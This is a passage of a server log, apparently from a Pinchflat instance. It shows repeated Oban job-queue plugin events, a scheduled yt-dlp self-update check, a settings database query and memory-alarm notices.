{"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.241 [info] {"source":"oban","duration":432,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:49:10.073 [info] {"source":"oban","duration":1963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:40.076 [info] {"source":"oban","duration":2763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.242 [info] {"source":"oban","duration":728,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:50:10.081 [info] {"source":"oban","duration":3473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:40.083 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.245 [info] {"source":"oban","duration":884,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:51:10.085 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:40.087 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.247 [info] {"source":"oban","duration":695,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:52:10.090 [info] {"source":"oban","duration":2362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:40.093 [info] {"source":"oban","duration":2383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.249 [info] {"source":"oban","duration":763,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:53:10.096 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:40.101 [info] {"source":"oban","duration":4186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.252 [info] {"source":"oban","duration":829,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:54:10.103 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:40.105 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.253 [info] {"source":"oban","duration":622,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:55:10.108 [info] {"source":"oban","duration":2146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:40.110 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.255 [info] {"source":"oban","duration":533,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:56:10.112 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:40.115 [info] {"source":"oban","duration":2460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.257 [info] {"source":"oban","duration":665,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:57:10.117 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:40.120 [info] {"source":"oban","duration":1982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.259 [info] {"source":"oban","duration":462,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:58:10.122 [info] {"source":"oban","duration":1830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:40.126 [info] {"source":"oban","duration":1991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.261 [info] {"source":"oban","duration":663,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:59:10.129 [info] {"source":"oban","duration":1937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:40.132 [info] {"source":"oban","duration":2302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.263 [info] {"source":"oban","duration":881,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:00:10.135 [info] {"source":"oban","duration":1886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:40.139 [info] {"source":"oban","duration":2974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.265 [info] {"source":"oban","duration":710,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:01:10.141 [info] {"source":"oban","duration":1829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:40.145 [info] {"source":"oban","duration":2307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.267 [info] {"source":"oban","duration":649,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:02:10.150 [info] {"source":"oban","duration":3061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:18.734 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 01:02:40.153 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.268 [info] {"source":"oban","duration":418,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:03:10.157 [info] {"source":"oban","duration":2430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:40.160 [info] {"source":"oban","duration":1873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.270 [info] {"source":"oban","duration":836,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:04:10.164 [info] {"source":"oban","duration":3739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:40.167 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.275 [info] {"source":"oban","duration":4358,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:05:10.172 [info] {"source":"oban","duration":2997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:40.176 [info] {"source":"oban","duration":3126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.277 [info] {"source":"oban","duration":743,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:06:10.179 [info] {"source":"oban","duration":1886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:40.184 [info] {"source":"oban","duration":3999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.279 [info] {"source":"oban","duration":567,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:07:10.186 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:40.189 [info] {"source":"oban","duration":2257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.282 [info] {"source":"oban","duration":1899,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:08:10.191 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:40.194 [info] {"source":"oban","duration":2662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.284 [info] {"source":"oban","duration":924,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:09:10.198 [info] {"source":"oban","duration":1854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:40.201 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.286 [info] {"source":"oban","duration":1216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:10:10.232 [info] {"source":"oban","duration":4269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:40.234 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.288 [info] {"source":"oban","duration":925,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:11:10.237 [info] {"source":"oban","duration":2863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:40.241 [info] {"source":"oban","duration":2387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.289 [info] {"source":"oban","duration":570,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:12:10.245 [info] {"source":"oban","duration":3249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:40.247 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.291 [info] {"source":"oban","duration":917,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:13:10.250 [info] {"source":"oban","duration":2135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:40.253 [info] {"source":"oban","duration":2682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.293 [info] {"source":"oban","duration":1002,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:14:10.258 [info] {"source":"oban","duration":3992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:40.262 [info] {"source":"oban","duration":2860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.294 [info] {"source":"oban","duration":275,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:15:10.265 [info] {"source":"oban","duration":2534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:40.268 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.297 [info] {"source":"oban","duration":2006,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:16:10.270 [info] {"source":"oban","duration":1681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:40.272 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.298 [info] {"source":"oban","duration":350,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:17:10.275 [info] {"source":"oban","duration":2208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:40.277 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.300 [info] {"source":"oban","duration":890,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:18:10.281 [info] {"source":"oban","duration":2852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:40.285 [info] {"source":"oban","duration":3200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.301 [info] {"source":"oban","duration":644,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:19:10.287 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:40.290 [info] {"source":"oban","duration":2196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.304 [info] {"source":"oban","duration":1333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:20:10.294 [info] {"source":"oban","duration":3306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:40.300 [info] {"source":"oban","duration":5045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.305 [info] {"source":"oban","duration":631,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:21:10.302 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:40.305 [info] {"source":"oban","duration":1975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.306 [info] {"source":"oban","duration":674,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:22:10.311 [info] {"source":"oban","duration":5326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:40.313 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.308 [info] {"source":"oban","duration":357,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:23:10.315 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:40.317 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.309 [info] {"source":"oban","duration":422,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:24:10.320 [info] {"source":"oban","duration":2142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:40.325 [info] {"source":"oban","duration":3142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.310 [info] {"source":"oban","duration":781,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:25:10.327 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:40.330 [info] {"source":"oban","duration":1965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.312 [info] {"source":"oban","duration":457,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:26:10.332 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:40.334 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.313 [info] {"source":"oban","duration":442,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:27:10.337 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:40.340 [info] {"source":"oban","duration":2188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.314 [info] {"source":"oban","duration":680,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:28:10.342 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:40.345 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.316 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:29:10.347 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:40.351 [info] {"source":"oban","duration":3330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.317 [info] {"source":"oban","duration":671,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:30:10.356 [info] {"source":"oban","duration":3945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:40.360 [info] {"source":"oban","duration":3832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.318 [info] {"source":"oban","duration":423,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:31:10.363 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:40.365 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.319 [info] {"source":"oban","duration":751,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:32:10.367 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:40.369 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.321 [info] {"source":"oban","duration":426,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:33:10.372 [info] {"source":"oban","duration":1907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:40.374 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.326 [info] {"source":"oban","duration":4204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:34:10.376 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:40.381 [info] {"source":"oban","duration":4135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.328 [info] {"source":"oban","duration":1698,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:35:10.384 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:40.387 [info] {"source":"oban","duration":2449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.330 [info] {"source":"oban","duration":530,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:36:10.391 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:40.394 [info] {"source":"oban","duration":2810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.331 [info] {"source":"oban","duration":762,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:37:10.398 [info] {"source":"oban","duration":1834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:40.401 [info] {"source":"oban","duration":1942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.334 [info] {"source":"oban","duration":846,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:38:10.403 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:40.407 [info] {"source":"oban","duration":2596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.335 [info] {"source":"oban","duration":575,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:39:10.409 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:40.411 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.336 [info] {"source":"oban","duration":853,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:40:10.414 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:40.416 [info] {"source":"oban","duration":1780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.340 [info] {"source":"oban","duration":1404,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:41:10.420 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:40.423 [info] {"source":"oban","duration":2023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.342 [info] {"source":"oban","duration":1230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:42:10.426 [info] {"source":"oban","duration":1904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:40.430 [info] {"source":"oban","duration":2001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.344 [info] {"source":"oban","duration":637,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:43:10.432 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:40.435 [info] {"source":"oban","duration":2275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.347 [info] {"source":"oban","duration":888,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:44:10.437 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:40.439 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.349 [info] {"source":"oban","duration":1352,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:45:10.442 [info] {"source":"oban","duration":1947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:40.445 [info] {"source":"oban","duration":1972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.355 [info] {"source":"oban","duration":4567,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:46:10.448 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:40.452 [info] {"source":"oban","duration":2990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.358 [info] {"source":"oban","duration":787,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:47:10.455 [info] {"source":"oban","duration":2414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:40.458 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.361 [info] {"source":"oban","duration":751,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:48:10.462 [info] {"source":"oban","duration":3807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:40.465 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.362 [info] {"source":"oban","duration":804,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:49:10.467 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:40.470 [info] {"source":"oban","duration":2842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.365 [info] {"source":"oban","duration":1035,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:50:10.474 [info] {"source":"oban","duration":2015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:40.476 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.366 [info] {"source":"oban","duration":521,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:51:10.478 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:40.480 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.367 [info] {"source":"oban","duration":545,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:52:10.484 [info] {"source":"oban","duration":1906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:40.487 [info] {"source":"oban","duration":1872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.370 [info] {"source":"oban","duration":1398,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:53:10.489 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:40.493 [info] {"source":"oban","duration":3354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.371 [info] {"source":"oban","duration":519,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:54:10.496 [info] {"source":"oban","duration":2238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:40.499 [info] {"source":"oban","duration":2041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.373 [info] {"source":"oban","duration":539,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:55:10.502 [info] {"source":"oban","duration":2127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:40.504 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.374 [info] {"source":"oban","duration":563,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:56:10.508 [info] {"source":"oban","duration":3252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:40.511 [info] {"source":"oban","duration":1751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.375 [info] {"source":"oban","duration":484,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:57:10.514 [info] {"source":"oban","duration":1779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:40.518 [info] {"source":"oban","duration":2381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.376 [info] {"source":"oban","duration":713,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:58:10.520 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:40.523 [info] {"source":"oban","duration":2795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.838 [info] {"source":"oban","duration":460232,"event":"plugin:stop","jobs":[2360],"plugin":"Oban.Plugins.Cron"} 01:59:00.979 [info] {"args":{},"id":2360,"meta":{"cron":true,"cron_expr":"59 23 * * *","cron_tz":"Etc/UTC"},"system_time":1776643140979576377,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 01:59:01.775 [info] Updating yt-dlp 01:59:01.775 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 01:59:06.004 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2026.03.17 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2026.03.17 from yt-dlp/yt-dlp) 01:59:06.004 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 01:59:08.044 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 01:59:08.102 [debug] QUERY OK source="settings" db=56.9ms idle=1501.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:59:08.104 [info] {"args":{},"id":2360,"meta":{"cron":true,"cron_expr":"59 23 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":7122768,"event":"job:stop","queue_time":761058,"attempt":1,"tags":["local_data"]} 01:59:10.526 [info] {"source":"oban","duration":1850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:40.529 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.839 [info] {"source":"oban","duration":669,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:00:10.716 [info] {"source":"oban","duration":186331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":3} 02:00:40.720 [info] {"source":"oban","duration":3207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.841 [info] {"source":"oban","duration":499,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:01:10.722 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:19.070 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 02:01:40.726 [info] {"source":"oban","duration":3208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.842 [info] {"source":"oban","duration":625,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:02:10.728 [info] {"source":"oban","duration":1902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:19.077 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 02:02:40.732 [info] 